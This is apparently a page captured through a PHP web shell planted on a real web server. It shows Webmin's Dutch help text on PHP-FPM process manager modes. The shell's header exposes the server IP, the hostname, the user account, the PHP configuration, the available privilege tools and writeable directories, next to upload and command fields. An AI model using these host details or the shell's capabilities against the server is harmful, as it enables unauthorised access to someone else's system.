Private
Server IP : 195.201.23.43  /  Your IP : 18.221.79.157
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/virtual-server/help/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/virtual-server/help/phpmode_fpmtype.nl.auto.html
<header>PHP-procesbeheermodus</header> PHP-FPM, of FastCGI Process Manager voor PHP, biedt verschillende beheermodi voor zijn werkprocessen. Deze modi bepalen hoe PHP-FPM de onderliggende processen die PHP-verzoeken afhandelen, zal creëren, onderhouden en recyclen. De modus wordt ingesteld met behulp van de <tt>pm</tt> configuratierichtlijn.<br><br> <b><tt>dynamic</tt></b> (standaard)<br> In de <tt>dynamic</tt> modus past PHP-FPM het aantal voortgebrachte onderliggende processen dynamisch aan op basis van de vraag, en wordt gecontroleerd door de volgende richtlijnen: <p></p><table><tr><td style="white-space: nowrap; vertical-align: top; padding-right: 0.5rem!important;"> <tt>pm.max_children</tt></td><td> het maximale aantal kinderen dat tegelijkertijd in leven kan zijn </td></tr><tr><td style="white-space: nowrap; vertical-align: top; padding-right: 0.5rem!important;"> <tt>pm.start_servers</tt></td><td> het aantal kinderen dat bij het opstarten is gemaakt </td></tr><tr><td style="white-space: nowrap; vertical-align: top; padding-right: 0.5rem!important;"> <tt>pm.min_spare_servers</tt></td><td> het minimumaantal kinderen in de &#39;inactieve&#39; status (wachtend op verwerking). Als het aantal &#39;inactieve&#39; processen kleiner is dan dit aantal, zullen er enkele kinderen worden aangemaakt </td></tr><tr><td style="white-space: nowrap; vertical-align: top; padding-right: 0.5rem!important;"> <tt>pm.max_spare_servers</tt></td><td> het maximale aantal kinderen in de &#39;inactieve&#39; status (wachtend op verwerking). Als het aantal &#39;inactieve&#39; processen groter is dan dit aantal, zullen sommige kinderen worden gedood </td></tr><tr><td style="white-space: nowrap; vertical-align: top; padding-right: 0.5rem!important;"> <tt>pm.max_spawn_rate</tt></td><td> het maximale aantal snelheid waarmee onderliggende processen tegelijk kunnen worden voortgebracht</td></tr></table><p></p> Voordelen zijn onder meer de automatische aanpassing van het aantal onderliggende processen op basis van de vraag, waardoor een optimaal gebruik van resources wordt gegarandeerd. Dit is vooral handig voor servers met wisselende belastingen.<br><br> <b><tt>static</tt></b><br> In de <tt>static</tt> modus onderhoudt PHP-FPM een vast aantal onderliggende processen. Dit nummer wordt gespecificeerd door de <tt>pm.max_children</tt> richtlijn. Voordelen zijn onder meer consistent geheugengebruik dankzij een constant aantal onderliggende processen. Dit is ideaal voor servers met stabiele belastingen.<br><br> <b><tt>ondemand</tt></b><br> In de <tt>ondemand</tt> modus worden er bij het opstarten geen kinderen aangemaakt. In plaats daarvan zal PHP-FPM alleen onderliggende processen voortbrengen wanneer dat nodig is, dat wil zeggen wanneer er een inkomend verzoek is dat moet worden verwerkt. Het maximale aantal kinderen dat tegelijkertijd in leven kan zijn, wordt bepaald door de <tt>pm.max_children</tt> richtlijn. Processen worden vervolgens beëindigd nadat ze een bepaalde tijd inactief zijn geweest door de <tt>pm.process_idle_timeout</tt> richtlijn. Voordelen zijn onder meer een lager geheugengebruik tijdens perioden met weinig of geen verkeer. Ideaal voor servers met intermitterende belasting of applicaties met onvoorspelbare verkeerspatronen.<br><br> De beste modus voor uw toepassing kan variëren, afhankelijk van de beschikbare bronnen, verkeerspatronen en specifieke toepassingskenmerken van de server. Het is essentieel om de instellingen te controleren en te verfijnen om optimale prestaties te bereiken.<footer>
Private